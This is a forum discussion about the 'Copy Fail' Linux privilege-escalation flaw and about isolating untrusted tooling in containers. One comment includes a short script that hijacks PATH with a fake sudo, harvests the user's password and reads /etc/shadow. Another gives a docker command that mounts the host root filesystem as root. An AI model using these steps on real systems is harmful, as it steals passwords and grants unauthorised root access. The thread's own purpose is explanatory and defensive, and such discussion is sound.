[sergeykish]

Linux distributions do not need Copy Fail to get root access:

    echo 'export PATH="$HOME/.local/bin:$PATH"' >> ~/.bashrc

    mkdir -p .local/bin/
    cat <<EOF >.local/bin/sudo
    read -rs -p "[sudo] password for $USER: " PASSWORD
    echo ""
    echo "$PASSWORD" | /usr/bin/sudo -S head /etc/shadow
    EOF

    chmod +x .local/bin/sudo

attack on next sudo call, shows data accessible only to root.

Our security model based on distributions verifying packages, that is distro maintainers. Software we can't trust should be running in VMs. Attack on trivy is just the beginning and solution is removing pip, uv, npm, rbenv from host, running in docker containers:

    $ docker run -it -v.:/app -w /app node:alpine /bin/sh

long term environments defined in docker compose:

    $ docker-compose.yml
    services:
      app:
        image: node:alpine
        volumes:
          - .:/app
        working_dir: /app
        command: /bin/sh
    $ docker compose run app

switch to Kata etc if more protection needed. Eventually all userspace would run in VMs.

[kro]

These copyfail exploits allow an unprivileged (daemon/app) user (not in sudoers) to get root without interaction from the original system maintainer.

It's quite different from PATH-injecting an already privileged user.

Also, these memory corruptions can likely be used as container escape primitives too. Albeit not easily.

It's a serious break of a security boundary. Yes, container layer adds defense, and normal unix security isn't perfect, but it should not allow this.

[sergeykish]

Copy Fail can't affect files it can't access.

PoC attack on k8s [1] claims execution through sibling layers of kube-proxy, host filesystem access through /dev/ [2].

[1] https://github.com/Percivalll/Copy-Fail-CVE-2026-31431-Kuber...

[2] https://github.com/Percivalll/Copy-Fail-CVE-2026-31431-Kuber...

[quectophoton]

If `docker` is already there, why even bother with `sudo` when you can just:

    docker run --rm -it -v '/:/mnt' -u 'root' 'alpine' '/bin/sh' '-l'

Chances are that the person who set up Docker didn't do it properly.

[sergeykish]

Run in docker container:

    $ docker run -it -v.:/app -w /app node:alpine /bin/sh
    /app # docker run --rm -it -v '/:/mnt' -u 'root' 'alpine' '/bin/sh' '-l'
    /bin/sh: docker: not found

I've described attack from host user and isolating attacker with docker.

[harrouet]

Containerizing every app is what iOS / iPadOS already do.

It is regularly pointed out as a drawback by Android users (e.g. "I can't run that doomscrolling blocker in iOS"), but from a security-model perspective it was visionary back in 2008.